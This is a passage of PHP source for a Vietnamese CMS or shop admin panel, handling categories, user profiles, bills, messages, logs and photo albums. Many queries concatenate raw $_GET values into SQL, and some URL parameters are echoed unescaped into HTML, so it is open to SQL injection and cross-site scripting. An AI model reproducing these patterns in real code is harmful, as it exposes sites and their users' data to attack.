                    $home_hide = @mysql_query("SELECT id, mod_name, mod_home FROM cily_modules WHERE mod_home = 0");
                    while ($hide = @mysql_fetch_array ($home_hide)){
                        $tpl->assign(
                            array(
                                'mod_id' => $hide['id'],
                                'mod_name' => $hide['mod_name'],
                            ));
                        $tpl->parse('home_hide');
                    }
                    $home_show = @mysql_query("SELECT id, mod_name, mod_home FROM cily_modules WHERE mod_home = 1");
                    while ($show = @mysql_fetch_array ($home_show)){
                        $tpl->assign(
                            array(
                                'mod_id' => $show['id'],
                                'mod_name' => $show['mod_name'],
                            ));
                        $tpl->parse('home_show');
                    }
                    
                break;
                case '5':
                    $this_menu = '| Danh mục hiển thị ngoài trang chủ';
                    if($_GET['id'] > 0){
                        $adcath = @mysql_fetch_array(@mysql_query("SELECT * FROM cily_cathome WHERE id = ".$_GET['id']));
                        $tpl->assign(
                            array(
                                'ead_action' => 'edit',
                                'eadid' => $adcath['id'],
                                'eadcath_id' => $adcath['cath_id'],
                                'eadcath_order' => $adcath['cath_order'],
                                'eadcath_img' => ($adcath['cath_img'] == '')?''.get_option('url').'/data/images/df-img.png':$adcath['cath_img'],
                                'eadcath_type1' => ($adcath['cath_type'] == '1')?'selected=""':'',
                                'eadcath_type2' => ($adcath['cath_type'] == '2')?'selected=""':'',
                                'eadcath_type3' => ($adcath['cath_type'] == '3')?'selected=""':'',
                                'ead_bt' => 'Sửa danh mục',
                            ));
                        $this_menu .= ' | Sửa';
                    }
                    else {
                        $tpl->assign(
                            array(
                                'ead_action' => 'add',
                                'eadid' => '',
                                'eadcath_id' => '',
                                'eadcath_order' => ($_SESSION['cath_order'] != NULL)?''.$_SESSION['cath_order'].'" onfocus="if(this.value==\''.$_SESSION['cath_order'].'\')this.value=\'\'" onblur="if(this.value==\'\')this.value=\''.$_SESSION['cath_order'].'\'':'1',
                                'eadcath_img' => ''.get_option('url').'/data/images/df-img.png',
                                'eadcath_type1' => ($_SESSION['cathpost'] == '1')?'selected=""':'',
                                'eadcath_type2' => ($_SESSION['cathpost'] == '2')?'selected=""':'',
                                'eadcath_type3' => ($_SESSION['cathpost'] == '3')?'selected=""':'',
                                'ead_bt' => 'Thêm danh mục',
                            ));
                    }

                    $cats_th = @mysql_query("SELECT id, cat_name FROM cily_cats WHERE cat_sub = 0 ORDER BY cat_order ASC");

                    list($pd_catth) = @mysql_fetch_array(@mysql_query("SELECT cath_id FROM cily_cathome WHERE id = ".$_GET['id']));
                            while ($catsth = @mysql_fetch_array ($cats_th)){
                                
                                $cats_th1 = @mysql_query("SELECT id, cat_name FROM cily_cats WHERE cat_sub = ".$catsth['id']." ORDER BY cat_order ASC");
                                while ($catsth1 = @mysql_fetch_array ($cats_th1)){
                                    
                                     $cats_th2 = @mysql_query("SELECT id, cat_name FROM cily_cats WHERE cat_sub = ".$catsth1['id']." ORDER BY cat_order ASC");
                                         while ($catsth2 = @mysql_fetch_array ($cats_th2)){
                                            $cats_th3 = @mysql_query("SELECT id, cat_name FROM cily_cats WHERE cat_sub = ".$catsth2['id']." ORDER BY cat_order ASC");
                                                       while ($catsth3 = @mysql_fetch_array ($cats_th3)){
                                                      $tpl->assign(
                                                             array(
                                                                    'cat_id_sub2' => $catsth3['id'],
                                                                    'cat_name_sub2' => $catsth3['cat_name'],
                                                                    'ecat_check_sub2' => (($catsth3['id'] == $pd_catth) )?'selected=""':'',
                                                                ));
                                            $tpl->parse('cats_th3');
                                      }
                                      
                                         $tpl->assign(
                                          array(
                                            'cat_id_sub1' => $catsth2['id'],
                                            'cat_name_sub1' => $catsth2['cat_name'],
                                            'ecat_check_sub1' => (($catsth2['id'] == $pd_catth))?'selected=""':'',
                                            
                                        ));
                                         $tpl->parse('cats_th2');
                                      }
                                
                                    $tpl->assign(
                                        array(
                                            'cat_id_sub' => $catsth1['id'],
                                            'cat_name_sub' => $catsth1['cat_name'],
                                            'ecat_check_sub' => (($catsth1['id'] == $pd_catth))?'selected=""':'',
                                            
                                        ));
                                    $tpl->parse('cats_th1');
                                }
                                $tpl->assign(
                                    array(
                                        'cat_id' => $catsth['id'],
                                        'cat_name' => $catsth['cat_name'],
                                        'ecat_check' => (($catsth['id'] == $pd_catth))?'selected=""':'',
                                    ));
                                $tpl->parse('cats_th');
                            }

                    
                    $ad_list = @mysql_query("SELECT ch.*, c.*, ch.id AS chid FROM cily_cathome AS ch LEFT JOIN cily_cats AS c ON ch.cath_id = c.id ORDER BY ch.cath_order ASC");
                    while ($lad = @mysql_fetch_array ($ad_list)){
                        switch($lad['cath_type']){
                            case '1':
                                $type = 'Bên trên';
                                break;
                            case '2':
                                $type = 'Chính giữa';
                                break;
                            case '3':
                                $type = 'Cuối trang';
                                break;
                        }
                        $tpl->assign(
                            array(
                                'cath_showcolor' => ($lad['cath_home'] == 0)?'#dbdbdb':'',
                                'cat_name' => $lad['cat_name'],
                                'c_id' => $lad['chid'],
                                'cath_id' => $lad['cath_id'],
                                'cath_mausac' => mausac($lad['cath_type']),
                                'cath_order' => $lad['cath_order'],
                                'cath_type' => $type,
                                'cath_img' => ($lad['cath_img'] == '')?''.get_option('url').'/data/images/df-img.png':$lad['cath_img'],
                                'cath_home' => $lad['cath_home'],
                                'cath_home1' => ($lad['cath_home'] == 1)?$lad['cath_home'] = 0:$lad['cath_home'] = 1,
                            ));
                        $tpl->parse('list_cath');
                    }
                break;
            }
            
            break;
            
        case '13':
            $my = @mysql_fetch_array(@mysql_query("SELECT * FROM cily_users WHERE id = ".$_SESSION['user']['id']));
            list($my_class) = @mysql_fetch_array(@mysql_query("SELECT class_name FROM cily_class WHERE id = ".$my['user_class']));
            $tpl->assign(
                array(
                    'my_id' => $my['id'],
                    'my_nick' => $my['user_nick'],
                    'my_salt' => $my['user_salt'],
                    'my_name' => $my['user_fullname'],
                    'my_email' => $my['user_email'],
                    'my_add' => $my['user_add'],
                    'my_phone' => $my['user_phone'],
                    'my_regdate' => formatTime($my['user_regdate'],2),
                    'my_lastvisit' => formatTime($my['user_lastvisit'],1),
                    'my_sex1' => ($my['user_sex'] == 1)?'selected=""':'',
                    'my_sex2' => ($my['user_sex'] == 2)?'selected=""':'',
                    'my_info' => $my['user_info'],
                    'my_img' => ($my['user_avatar'] == '')?''.get_option('url').'/data/images/df-img.png':$my['user_avatar'],
                    'my_level1' => level($my['user_level']),
                    'my_classid' => $my['user_class'],
                    'my_class1' => ($my_class)?$my_class:'Không có',
                    'my_birthday' => $my['user_birthday'],
                    'my_product1' => @mysql_num_rows(@mysql_query("SELECT id FROM cily_products WHERE product_user =".$_SESSION['user']['id'])),
                    'my_post1' => @mysql_num_rows(@mysql_query("SELECT id FROM cily_posts WHERE post_user =".$_SESSION['user']['id'])),
                ));
                
            $birthday = birthday($my['user_birthday']);
                
            for($i = 1; $i <= 31; $i ++){
                $tpl->assign(
                    array(
                        'dd' => $i,
                        'my_dd' => ($i == $birthday['d'])?'selected=""':'',
                    ));
                $tpl->parse('list_dd');
            }    
            for($i = 1; $i <= 12; $i ++){
                $tpl->assign(
                    array(
                        'mm' => $i,
                        'my_mm' => ($i == $birthday['m'])?'selected=""':'',
                    ));
                $tpl->parse('list_mm');
            }    
            for($i = 1940; $i <= 2010; $i ++){
                $tpl->assign(
                    array(
                        'yyyy' => $i,
                        'my_yyyy' => ($i == $birthday['y'])?'selected=""':'',
                    ));
                $tpl->parse('list_yyyy');
            }
            $class_list = @mysql_query("SELECT * FROM cily_class ORDER BY id DESC");
            while ($lclass = @mysql_fetch_array ($class_list)){
                $tpl->assign(
                    array(
                        'lclass_id' => $lclass['id'],
                        'lclass_name' => $lclass['class_name'],
                        'my_class' => ($my['user_class'] == $lclass['id'])?'selected=""':'',
                    ));
                $tpl->parse('list_class');
            }
            $_SESSION['link'] = $_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."?".$_SERVER['QUERY_STRING'];
            $this_menu = '| Thông tin của tôi';
            break;
            
        case '14':
            $this_menu = '| Giỏ hàng';
            switch($sub_menu){
                case '0':
                    $this_menu .= ' | Chưa thanh toán';
                    $current_page = ($_GET['page'])?$_GET['page']:1;
                    $b_start = ($current_page -1) * get_option('paging');
                    $total_b = @mysql_num_rows(@mysql_query("SELECT id FROM cily_bills WHERE bill_pay = 0 and bill_user = ".$_SESSION['user']['id']));
                    $bill_list = @mysql_query("SELECT id, bill_content, bill_name, bill_time FROM cily_bills WHERE bill_pay = 0 and bill_user = ".$_SESSION['user']['id']." ORDER BY id DESC LIMIT ".$b_start.",".get_option('paging'));
                    while ($lbill = @mysql_fetch_array ($bill_list)){
                        $data = explode(',',$lbill['bill_content']);
                        $pd_monney = 0;
                        $pd_total = 0;
                        foreach($data as $item){
                            $item = explode(':',$item);
                            $price = @mysql_fetch_array(@mysql_query("SELECT product_price, product_free FROM cily_products WHERE id = ".$item[0]));
                            if($price['product_free'] <= 0) $pd_monney += $price['product_price']*$item[1];
                            else $pd_monney += $price['product_free']*$item[1];
                            $pd_total += $item[1];
                        }
                        $tpl->assign(
                            array(
                                'lbill_id' => $lbill['id'],
                                'lbill_monney' => number($pd_monney),
                                'lbill_total' => number($pd_total),
                                'lbill_time' => formatTime($lbill['bill_time'], 1),
                            ));
                        $tpl->parse('cart_list');
                    }
                    $tpl->assign('lb_paging',paging(get_option('paging'),$current_page, $total_b, 'index.php?m=14',$modpage.'&page=' ,false));
                    
                    break;
                
                case '1':
                    $this_menu .= ' | Đã thanh toán';
                    $current_page = ($_GET['page'])?$_GET['page']:1;
                    $b_start = ($current_page -1) * get_option('paging');
                    $total_b = @mysql_num_rows(@mysql_query("SELECT id FROM cily_bills WHERE bill_pay = 1"));
                    $bill_list = @mysql_query("SELECT id, bill_content, bill_name, bill_time FROM cily_bills WHERE bill_pay = 1 ORDER BY id DESC LIMIT ".$b_start.",".get_option('paging'));
                    while ($lbill = @mysql_fetch_array ($bill_list)){
                        $data = explode(',',$lbill['bill_content']);
                        $pd_monney = 0;
                        $pd_total = 0;
                        foreach($data as $item){
                            $item = explode(':',$item);
                            $price = @mysql_fetch_array(@mysql_query("SELECT product_price, product_free FROM cily_products WHERE id = ".$item[0]));
                            if($price['product_free'] <= 0) $pd_monney += $price['product_price']*$item[1];
                            else $pd_monney += $price['product_free']*$item[1];
                            $pd_total += $item[1];
                        }
                        $tpl->assign(
                            array(
                                'lbill_id' => $lbill['id'],
                                'lbill_monney' => number($pd_monney),
                                'lbill_total' => number($pd_total),
                                'lbill_time' => formatTime($lbill['bill_time'], 1),
                            ));
                        $tpl->parse('cart1_list');
                    }
                    $tpl->assign('lb_paging',paging(get_option('paging'),$current_page, $total_b, 'index.php?m=14&sm=1',$modpage.'&page=' ,false));
                    
                    break;
                
                case '2':
                    $bill = @mysql_fetch_array(@mysql_query("SELECT bill_name, bill_phone, bill_fax, bill_email, bill_add, bill_content, bill_time FROM cily_bills WHERE id = ".$_GET['id']));
                    
                    $data = explode(',',$bill['bill_content']);
                    $monney = 0;
                    foreach($data as $item){
                        $item = explode(':',$item);
                        $product = @mysql_fetch_array(@mysql_query("SELECT product_code, product_name, product_price FROM cily_products WHERE id = ".$item[0]));
                        $p_monney = $product['product_price']*$item[1];
                        $monney += $p_monney;
                        $tpl->assign(
                            array(
                                'product_name' => $product['product_name'],
                                'product_code' => $product['product_code'],
                                'product_price' => number($product['product_price']),
                                'product_total' => number($item[1]),
                                'monney' => number($p_monney),
                            ));
                        $tpl->parse('cart_product');
                    }
                    $tpl->assign(
                        array(
                            'monney_total' => number($monney),
                            'bill_id' => $_GET['id'],
                            'bill_name' => $bill['bill_name'],
                            'bill_phone' => $bill['bill_phone'],
                            'bill_fax' => ($bill['bill_fax'])?$bill['bill_fax']:'Không có',
                            'bill_email' => $bill['bill_email'],
                            'bill_add' => $bill['bill_add'],
                            'bill_time' => formatTime($bill['bill_time'], 2),
                        ));
                    
                    break;
            }
            break;
            
        case '15':
            $this_menu = '| Tin nhắn';
            switch($sub_menu){
                case '0':
                    $inbox_list = @mysql_query("SELECT id, message_from, message_title, message_read, message_time FROM cily_messages WHERE message_to = ".$_SESSION['user']['id']." ORDER BY id DESC");
                    while ($linbox = @mysql_fetch_array ($inbox_list)){
                        list($m_user) = @mysql_fetch_array(@mysql_query("SELECT user_nick FROM cily_users WHERE id = ".$linbox['message_from']));
                        $tpl->assign(
                            array(
                                'lmes_id' => $linbox['id'],
                                'lmes_from' => $m_user,
                                'lmes_title' => $linbox['message_title'],
                                'lmes_read' => ($linbox['message_read'] == 1)?'':'font-weight: bold;',
                                'lmes_time' => formatTime($linbox['message_time'], 1),
                            ));
                        $tpl->parse('list_inbox');
                    }
                    $this_menu .= ' | Tin nhắn đến';
                    break;
                    
                case '1':
                    $outbox_list = @mysql_query("SELECT id, message_to, message_title, message_read, message_time FROM cily_messages WHERE message_from = ".$_SESSION['user']['id']." ORDER BY id DESC");
                    while ($loutbox = @mysql_fetch_array ($outbox_list)){
                        list($m_user) = @mysql_fetch_array(@mysql_query("SELECT user_nick FROM cily_users WHERE id = ".$loutbox['message_to']));
                        $tpl->assign(
                            array(
                                'lmes_id' => $loutbox['id'],
                                'lmes_to' => $m_user,
                                'lmes_title' => $loutbox['message_title'],
                                'lmes_read' => ($loutbox['message_read'] == 1)?'':'font-weight: bold;',
                                'lmes_time' => formatTime($loutbox['message_time'], 1),
                            ));
                        $tpl->parse('list_outbox');
                    }
                    $this_menu .= ' | Tin nhắn đi';
                    break;
                    
                case '2':
                    $tpl->assign(
                        array(
                            'mes_title' => ($_GET['title'])?$_GET['title']:'Gõ tiêu đề vào đây" onfocus="if(this.value==\'Gõ tiêu đề vào đây\')this.value=\'\'" onblur="if(this.value==\'\')this.value=\'Gõ tiêu đề vào đây\'',
                            'mes_to' => ($_GET['to'])?$_GET['to']:'Người nhận" onfocus="if(this.value==\'Người nhận\')this.value=\'\'" onblur="if(this.value==\'\')this.value=\'Người nhận\'',
                        ));
                    $this_menu .= ' | Viết tin nhắn';
                    break;
                    
                case '3':
                    $this_menu .= ' | Đọc tin';
                    if($_GET['inbox']){
                        $mes =@mysql_fetch_array(@mysql_query("SELECT message_to, message_title, message_content, message_time FROM cily_messages WHERE id = ".$_GET['inbox']));
                        list($m_user) = @mysql_fetch_array(@mysql_query("SELECT user_nick FROM cily_users WHERE id = ".$mes['message_to']));
                        @mysql_query("UPDATE cily_messages SET message_read = 1 WHERE id = ".$_GET['inbox']);
                        $tpl->assign(
                            array(
                                'smes_user' => $m_user.' gửi tới tôi',
                                'smes_to' => $m_user,
                            ));
                        $tpl->parse('inbox_reply');
                    }
                    else {
                        $mes =@mysql_fetch_array(@mysql_query("SELECT message_from, message_title, message_content, message_time FROM cily_messages WHERE id = ".$_GET['outbox']));
                        list($m_user) = @mysql_fetch_array(@mysql_query("SELECT user_nick FROM cily_users WHERE id = ".$mes['message_from']));
                        $tpl->assign('smes_user','Gửi tới '.$m_user);
                    }
                    $tpl->assign(
                        array(
                            'smes_title' => $mes['message_title'],
                            'smes_content' => $mes['message_content'],
                            'smes_time' => formatTime($mes['message_time'], 1),
                        ));
                    $this_menu .= ' | '.$mes['message_title'];
                    break;
            }
            break;
        
        case '16':

            $ngayhientaiindex = (gmdate("d/m/Y", time() + 7*3600));
            $getname = ($_GET['time']);
            $thangnam = explode('/',$getname);
            $dd = $thangnam[0];
            $mm = $thangnam[1];
            $yy = $thangnam[2];
            $startdate = (strtotime($mm.'/'.$dd.'/'.$yy) + 86400);
            $enddate = strtotime("-1 Months",$startdate);
            $ngayhientai = strtotime(gmdate("m/d/Y", time() + 7*3600)) + 86400;
            $endngayhientai = strtotime("-1 Months",$ngayhientai);
            
            $locngay = explode(' - ',$getname);
            $begindate1 = strtotime('01022016');
            
            $enddate1 = strtotime($locngay[1]);
            
            $conver_begindate = strtotime(gmdate("m/d/Y", time() + 7*3600)) + 86400;
            $conver_enddate = strtotime("-1 Months",$ngayhientai);


                if(isset($_GET['time'])) {
                        $modpage = '&time='.$_GET['time'];
                        $pd_where = 'WHERE log_time > '.$begindate1.' AND log_time < '.$enddate1.'';
                    }
                    else {
                        $modpage = '';
                        $pd_where = 'WHERE log_time > '.$endngayhientai.' AND log_time < '.$ngayhientai.'';
                    }

                $current_page = ($_GET['page'])?$_GET['page']:1;
                    $p_start = ($current_page -1) * get_option('paging');
                    $total_p = @mysql_num_rows(@mysql_query("SELECT * FROM cily_log ".$pd_where." AND log_user != 2"));
                    $l_log = @mysql_query("SELECT * FROM cily_log ".$pd_where." AND log_user != 2 ORDER BY id DESC LIMIT ".$p_start.",".get_option('paging'));

                    while ($llog = @mysql_fetch_array ($l_log)){
                        list($loguser) = @mysql_fetch_array(@mysql_query("SELECT user_nick FROM cily_users WHERE id = ".$llog['log_user']));
                        list($logproduct) = @mysql_fetch_array(@mysql_query("SELECT product_name FROM cily_products WHERE id = ".$llog['log_proid']));
                        $tpl->assign(
                            array(
                                'log_stt' => $llog['id'],
                                'log_state' => cdllog($llog['log_state']),
                                'log_proid' => $llog['log_proid'],
                                'log_username' => $loguser,
                                'log_datenow' => $ngayhientaiindex,
                                'log_total' => $total_p,
                                'log_priced' => ($llog['log_priced'] != '1')?number($llog['log_priced'] * $tygia):'',
                                'log_table' => collog($llog['log_table']),
                                'log_time' => formatTime($llog['log_time'], 7),
                                'log_voigia' => ($llog['log_priced'] != '1')?'Với giá':'', 
                                'log_ngaybd' => ($_GET['name'] != NULL)?'<strong>'.formatTime($enddate, 5).'</strong> Đến ngày <strong>'.formatTime($startdate, 5).'</strong>':'<strong>'.formatTime($endngayhientai, 5).'</strong> Đến ngày <strong>'.formatTime($ngayhientai, 5).'</strong>',
                                'log_ngaybd1' => formatTime($endngayhientai, 2),
                            ));
                        $tpl->parse('l_log');
                    }
                    $tpl->assign('llog_paging',paging(get_option('paging'),$current_page, $total_p, 'index.php?m=16',$modpage.'&page=' ,false));
            $this_menu = '| Log quản trị';
        break;
        case '17':
            $this_menu = '| Album Ảnh';
            switch($sub_menu) {
                case '0':
                    $current_page = ($_GET['page'])?$_GET['page']:1;
                    if($_GET['cat']) {
                        $modpage = '&cat='.$_GET['cat'];
                        $p_where = 'WHERE album_cat = '.$_GET['cat'];
                    }
                    else {
                        $modpage = '';
                        $p_where = '';
                    }
                    $p_start = ($current_page -1) * get_option('paging');
                    $total_p = @mysql_num_rows(@mysql_query("SELECT id FROM cily_album ".$p_where.""));
                    $post_album = @mysql_query("SELECT * FROM cily_album ".$p_where." ORDER BY album_timeup DESC LIMIT ".$p_start.",".get_option('paging'));
                    while ($lpost_album = @mysql_fetch_array ($post_album)){
                        list($p_cat) = @mysql_fetch_array(@mysql_query("SELECT cat_name FROM cily_cats WHERE id = ".$lpost_album['album_cat']));
                        $tpl->assign(
                            array(
                                'lalbum_id' => $lpost_album['id'],
                                'lalbum_name' => $lpost_album['album_name'],
                                'lalbum_cat' => $p_cat,
                                'lalbum_image' => $lpost_album['album_image'],
                                'lalbum_fullimg' => $lpost_album['album_fullimg'],
                                'lalbum_hot' => $lpost_album['album_hot'],
                                'lalbum_show' => $lpost_album['album_show'],
                                'pc_id' => $lpost_album['post_cat'],
                                'lalbum_time' => formatTime($lpost_album['album_time'], 1),
                                'lalbum_order' => $lpost_album['album_order'],
                                'lalbum_value1' => $lpost_album['album_value1'],
                                'lalbum_hienthi' => ($lpost_album['album_show'] == 0)?'opacity: 0.2;':'',
                                'lalbum_hot1' => ($lpost_album['album_hot'] == 1)?$lpost_album['album_hot'] = 0:$lpost_album['album_hot'] = 1,
                                'lalbum_show1' => ($lpost_album['album_show'] == 0)?$lpost_album['album_show'] = 1:$lpost_album['album_show'] = 0,
                            ));
                        $tpl->parse('post_album');
                    }
                    $_SESSION['link'] = $_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']."?".$_SERVER['QUERY_STRING'];
                    $tpl->assign('lp_paging',paging(get_option('paging'),$current_page, $total_p, 'index.php?m=17',$modpage.'&page=' ,false));
                    $this_menu .= ' | Danh sách ảnh';
                    break;
                
                case '1':
                    $al_post = @mysql_fetch_array(@mysql_query("SELECT * FROM cily_album WHERE id = ".$_GET['id']));
                    if($_GET['id'] > 0){
                        
                        $tpl->assign(
                            array(
                                'album_action' => 'edit',
                                'lalbum_id' => $al_post['id'],
                                'album_title' => $al_post['album_name'],
                                'attach_image_urls' => ($al_post['attach_image'] != NULL)?$al_post['attach_image']:'',
                                'album_quote' => '',
								'album_url' => $al_post['album_url'],
                                'album_order' => $al_post['album_order'],
                                'album_value1' => $al_post['album_value1'],
                                'album_img' => ($al_post['album_image'] == '')?''.get_option('url').'/data/images/df-img.png':$al_post['album_image'],
                                'album_bt' => 'Sửa Album',
                            ));
                    }
                    else {
                        $tpl->assign(
                            array(
                                'album_action' => 'add',
                                'album_id' => '',
                                'attach_image_urls' => '',
                                'album_title' => 'Gõ tiêu đề vào đây" onfocus="if(this.value==\'Gõ tiêu đề vào đây\')this.value=\'\'" onblur="if(this.value==\'\')this.value=\'Gõ tiêu đề vào đây\'',
                                'album_quote' => '',
								'album_url' => '',
                                'album_order' => '1" onfocus="if(this.value==\'1\')this.value=\'\'" onblur="if(this.value==\'\')this.value=\'1\'',
                                'album_value1' => '',
                                'album_img' => ''.get_option('url').'/data/images/df-img.png',
                                'album_bt' => 'Đăng Album',
                            ));
                    }

                      $listImages = explode(',', $al_post['attach_image']);
                        foreach($listImages as $imgUrl){
                            if($imgUrl){
                                $thumb = explode('/', $imgUrl);
                                $thumb[count($thumb) - 1] = 'thumbs-' . $thumb[count($thumb) - 1];
                                
                                $tpl->assign(
                                    array(
                                        'attach_image_url' => $imgUrl,
                                        'attach_thumb_url' => implode('/', $thumb)
                                    )
                                    
                                );
                                $tpl->parse('album_images');                           
                                    }
                        }
                
                
                    $al_cats = @mysql_query("SELECT id, cat_name FROM cily_cats WHERE cat_sub = 0 and cat_type = '3' ORDER BY cat_order ASC");
                    list($al_cat1) = @mysql_fetch_array(@mysql_query("SELECT album_cat FROM cily_album WHERE id = ".$_GET['id']));
                    while ($list_al1 = @mysql_fetch_array ($al_cats)){
                        
                        $sub_album2 = @mysql_query("SELECT id, cat_name FROM cily_cats WHERE cat_sub = ".$list_al1['id']." ORDER BY cat_order ASC");
                        while ($list_al2 = @mysql_fetch_array ($sub_album2)){
                            
                             $sub_album3 = @mysql_query("SELECT id, cat_name FROM cily_cats WHERE cat_sub = ".$list_al2['id']." ORDER BY cat_order ASC");
                                 while ($list_al3 = @mysql_fetch_array ($sub_album3)){
                                    
                                    $sub_album4 = @mysql_query("SELECT id, cat_name FROM cily_cats WHERE cat_sub = ".$list_al3['id']." ORDER BY cat_order ASC");
                                               while ($list_al4 = @mysql_fetch_array ($sub_album4)){
                                              $tpl->assign(
                                                     array(
                                                            'album_id4' => $list_al4['id'],
                                                            'album_name4' => $list_al4['cat_name'],
                                                            'album_check4' => ($list_al4['id'] == $al_cat1)?'selected':'',
                                                            'album_check_sub4' => (($list_al4['id'] == $al_post['album_cat']) || ($list_al4['id'] == $_SESSION['albumpost']) )?'selected=""':'',
                                                        ));
                                    $tpl->parse('album_cat4');
                              }
                              
                                 $tpl->assign(
                                  array(
                                    'album_id3' => $list_al3['id'],
                                    'album_name3' => $list_al3['cat_name'],
                                    'album_check3' => ($list_al3['id'] == $al_cat1)?'selected':'',
                                    'album_check_sub3' => (($list_al3['id'] == $al_post['album_cat']) || ($list_al3['id'] == $_SESSION['albumpost']) )?'selected=""':'',
                                    
                                ));
                                 $tpl->parse('album_cat3');
                              }
                        
                            $tpl->assign(
                                array(
                                    'album_id2' => $list_al2['id'],
                                    'album_name2' => $list_al2['cat_name'],
                                    'album_check2' => ($list_al2['id'] == $al_cat1)?'selected':'',
                                    'album_check_sub2' => (($list_al2['id'] == $al_post['album_cat']) || ($list_al2['id'] == $_SESSION['albumpost']) )?'selected=""':'',
                                    
                                ));
                            $tpl->parse('album_cat2');
                        }
                        
                        $tpl->assign(
                            array(
                                'album_id' => $list_al1['id'],
                                'album_name' => $list_al1['cat_name'],
                                'album_check' => ($list_al1['id'] == $al_cat1)?'selected':'',
                                'album_check_sub' => (($list_al1['id'] == $al_post['album_cat']) || ($list_al1['id'] == $_SESSION['albumpost']) )?'selected=""':'',
                            ));
                        $tpl->parse('album_cat');

                        
                    }
                    $this_menu .= ' | Bài mới';
                    break;
        }
        break;
        case '18':
            $this_menu = '| Hướng dẫn';
        break;

        case '19':
            
        break;
            case '20':
                $this_menu = '| Bảo mật';
                    $tpl->assign(
                        array(
                            'option_quangcao' => get_option('quangcao'),
                            'option_domain' => get_option('domain'),
                            'option_hosting' => get_option('hosting'),
                            'option_goi_hosting' => get_option('goi_hosting'),
                            'option_showcat_post' => get_option('showcat_post'),
                        ));
            break;
            
            case '21':

                $this_menu = '| Thông báo';
            break;
            
    }
    if(check_level() >= 2 && !in_array($menu, array('2', '3', '4', '5', '6', '7', '8', '9', '10', '11', '12', '14', '15', '17', '18', '19', '20'))) {
        $tpl->parse('cp_'.$menu.'_'.$sub_menu);
    }
    elseif(check_level() >= 3 && !in_array($menu, array('2', '4', '5', '6', '7', '8', '9', '10', '11', '12', '14', '15', '17', '18', '19', '20'))) {
        $tpl->parse('cp_'.$menu.'_'.$sub_menu);
    }
    elseif(check_level() >= 4 && !in_array($menu, array('11', '12', '14', '15', '18', '20'))) {
        $tpl->parse('cp_'.$menu.'_'.$sub_menu);
    }
    elseif(check_level() >= 9 && !in_array($menu, array('20'))) {
        $tpl->parse('cp_'.$menu.'_'.$sub_menu);
    }
    elseif(check_level() >= 10) {
        $tpl->parse('cp_'.$menu.'_'.$sub_menu);
    }
    
    $menu_level = '';
    if(check_level() >= 2) $menu_level .= @file_get_contents('templates/level_2.html');
    if(check_level() >= 3) $menu_level .= @file_get_contents('templates/level_3.html');
    if(check_level() >= 4) $menu_level .= @file_get_contents('templates/level_4.html');
    if(check_level() >= 9) $menu_level .= @file_get_contents('templates/level_9.html');
    if(check_level() >= 10) $menu_level .= @file_get_contents('templates/level_10.html');

    $tpl->assign(
        array(
            'tech_info' => (get_option('tech_info')),
            'tech_pub' => ((get_option('tech_pub'))),
            'tech_pub1' => nl2br(get_option('tech_pub')),
            'eweb_url' => get_option('url'),
            'menu_level' => $menu_level,
            'version' => $version['name'].' '.$version['value'],
            'this_menu' => $this_menu,
            'messages_new' => @mysql_num_rows(@mysql_query("SELECT id FROM cily_contacts WHERE contact_read = '0'")),
            'total_user' => @mysql_num_rows(@mysql_query("SELECT id FROM cily_users WHERE id != '2'")),
            'total_data' => @mysql_num_rows(@mysql_query("SELECT id FROM cily_datas")),
            'total_cart' => @mysql_num_rows(@mysql_query("SELECT id FROM cily_bills WHERE bill_pay = 0")),
            'menu' => $menu,
            'limit_bv' => dieukienopen(get_option('goi_hosting')),
            'limit_dt' => dieukienopen(get_option('goi_hosting')) * 10,

            'user_on' => $useron['user_fullname'],
            'user_avata' => $useron['user_avatar'],
            'sub_menu' => $sub_menu,
            'IP_Visitor' => $_SERVER["REMOTE_ADDR"],
        ));
    $tpl->tpl_out();
}

else header('Location: Tek14-login.php');

?>

Anon7 - 2021